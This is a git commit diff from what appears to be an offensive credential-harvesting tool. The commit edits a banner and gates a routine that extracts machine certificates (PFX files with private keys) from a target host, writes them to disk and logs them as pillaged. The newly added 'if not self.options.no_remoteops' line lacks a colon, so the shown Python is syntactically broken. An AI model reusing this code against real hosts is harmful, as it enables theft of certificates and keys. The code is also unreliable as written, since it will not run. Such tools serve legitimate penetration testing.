Merge branch 'main' into dep-fix

This commit is contained in:
zblurx 2023-07-29 10:59:50 +02:00
commit 74e0d14778
2 changed files with 13 additions and 12 deletions

View File

@ -38,7 +38,7 @@ BANNER = """
,
, LeHack Release! \U0001F480
(
. by Touf & Zblurx @ Login-Securite
. by Touf & Zblurx @ Login Sécurité
&&&&&&
&&&&&%%%. &&&&&&
&&&&%%% &&&& &&&&&& &&&&&& &&&&&.

View File

@ -321,17 +321,18 @@ class CertificatesTriage():
except Exception as e:
pass
self.db.add_certificate(guid=cert.filename, pfx_file_path=full_path, issuer=str(cert.cert.issuer.rfc4514_string()), subject=str(cert.cert.subject.rfc4514_string()), client_auth=cert.clientauth, pillaged_from_computer_ip=self.options.target_ip, pillaged_from_username=cert.user.username)
for user in self.users:
if user.username == 'MACHINE$':
system_certificates = self.triage_system_certificates(user)
for cert in system_certificates:
filename = "%s_%s.pfx" % (cert.username,cert.filename[:16])
full_path = os.path.join(filedest,filename)
self.logging.info(f"[{self.options.target_ip}] {bcolors.OKGREEN}[+] Found certificate for MACHINE. Writing it to {full_path}{bcolors.ENDC}")
cert.dump()
with open(full_path, "wb") as f:
f.write(cert.pfx)
self.db.add_certificate(guid=cert.filename, pfx_file_path=full_path, issuer=str(cert.cert.issuer.rfc4514_string()), subject=str(cert.cert.subject.rfc4514_string()), client_auth=cert.clientauth, pillaged_from_computer_ip=self.options.target_ip, pillaged_from_username=user.username)
if not self.options.no_remoteops
for user in self.users:
if user.username == 'MACHINE$':
system_certificates = self.triage_system_certificates(user)
for cert in system_certificates:
filename = "%s_%s.pfx" % (cert.username,cert.filename[:16])
full_path = os.path.join(filedest,filename)
self.logging.info(f"[{self.options.target_ip}] {bcolors.OKGREEN}[+] Found certificate for MACHINE. Writing it to {full_path}{bcolors.ENDC}")
cert.dump()
with open(full_path, "wb") as f:
f.write(cert.pfx)
self.db.add_certificate(guid=cert.filename, pfx_file_path=full_path, issuer=str(cert.cert.issuer.rfc4514_string()), subject=str(cert.cert.subject.rfc4514_string()), client_auth=cert.clientauth, pillaged_from_computer_ip=self.options.target_ip, pillaged_from_username=user.username)
def triage_system_certificates(self, user: MyUser) -> List[Certificate]:
certificates = []